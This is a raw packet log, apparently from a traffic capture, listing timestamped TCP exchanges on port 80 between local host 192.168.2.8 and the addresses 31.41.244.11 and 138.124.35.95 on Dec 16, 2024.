Dec 16, 2024 17:02:29.062170982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.062181950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.062189102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.062206984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.062236071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.062772989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.062784910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.062796116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.062832117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.062856913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.063407898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.063421011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.063431978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.063477039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.063508987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.064224005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.064237118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.064248085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.064260006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.064292908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.064326048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.065238953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.065252066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.065263033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.065301895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.065313101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.065906048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.065917969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.065928936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.065953016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.065982103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.066880941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.066891909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.066901922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.066912889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.066926003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.066956997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.067706108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.067719936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.067730904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.067754030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.067771912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.068871975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.068883896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.068892956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.068914890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.068943024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.069611073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.069622993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.069633007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.069643974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.069653034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.069668055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.069694042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.070580006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.070590973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.070600986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.070647955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.070678949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.071508884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.071521044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.071531057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.071574926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.071604013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.072372913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.072382927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.072391033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.072400093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.072433949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.072455883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.073163986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.073174953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.073185921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.073214054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.073227882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.073863983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.073874950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.073884964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.073909998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.073935032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.074563980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.074603081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.074613094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.074623108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.074634075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.074651003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.074676991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.075397968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.075407982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.075418949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.075452089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.076093912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.076138020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.076144934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.076148033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.076176882 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.076970100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.076982021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.077022076 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.144512892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.144593000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.144643068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.146826982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.147017002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.147062063 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.151608944 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.151711941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.151803017 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.156116962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.156352043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.156398058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.160800934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.160885096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.161034107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.165132046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.165246010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.165298939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.170166016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.170254946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.170296907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.174510956 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.174606085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.174654007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.179274082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.179402113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.179440975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.183614969 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.183756113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.183799982 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.188287020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.188441038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.188481092 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.192435980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.192641020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.192679882 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.195892096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.196073055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.196114063 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.199553967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.199778080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.199816942 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.202900887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.203111887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.203166008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.206558943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.206716061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.206861019 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.209911108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.210083961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.210129023 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.214457989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.214555979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.214596987 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.217314005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.217525959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.217566013 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.220453024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.220551014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.220590115 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.223790884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.223927975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.223967075 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.227238894 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.227360964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.227423906 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.230777979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.230945110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.230983973 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.234239101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.234296083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.234420061 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.237653971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.237785101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.237829924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.241245985 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.241328001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.241395950 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.244755983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.244817972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.244920969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.248167038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.248363018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.248406887 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.251609087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.251780987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.251826048 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.256391048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.256474018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.256553888 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.260062933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.260174990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.260234118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.263168097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.263303041 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.263343096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.266309023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.266388893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.266483068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.268970966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.269081116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.269139051 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.272351980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.272525072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.273025990 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.275978088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.276074886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.276154041 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.279352903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.279478073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.279566050 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.282826900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.282980919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.283128023 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.286339998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.286456108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.287377119 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.289783001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.289975882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.290843964 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.293292046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.293406963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.294874907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.296951056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.297033072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.299135923 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.300158978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.300297976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.303364992 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.304066896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.304153919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.307387114 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.308789015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.308893919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.309683084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.312053919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.312259912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.313067913 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.315901041 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.316092014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.319112062 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.319475889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.319561958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.319710970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.322823048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.323045015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.323080063 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.325711012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.325826883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.326817989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.328347921 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.328413010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.328450918 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.331685066 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.331789017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.331828117 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.334952116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.335035086 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.335347891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.339390993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.339571953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.339617968 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.343599081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.343781948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.343827009 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.346915007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.347105980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.347148895 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.349714041 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.349809885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.349984884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.352168083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.352252960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.352303982 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.354996920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.355108976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.355278969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.358092070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.358275890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.359076977 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.361023903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.361191034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.361270905 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.363936901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.364032984 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.364082098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.366723061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.366844893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.366883039 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.369489908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.369637012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.369679928 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.372591972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.372603893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.372648954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.374986887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.375122070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.377428055 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.377681017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.377845049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.377880096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.380322933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.380462885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.380522966 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.383613110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.383829117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.383863926 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.385993958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.386107922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.386678934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.387974977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.388047934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.388104916 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.391609907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.391710043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.391807079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.394243002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.394332886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.394364119 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.396157980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.396249056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.397094965 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.397790909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.397928953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.398053885 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.399100065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.399221897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.399293900 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.400361061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.400501013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.401418924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.401802063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.401957035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.402318001 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.403124094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.403273106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.403320074 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.404412985 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.404624939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.405675888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.405719995 CET	49714	80	192.168.2.8	138.124.35.95
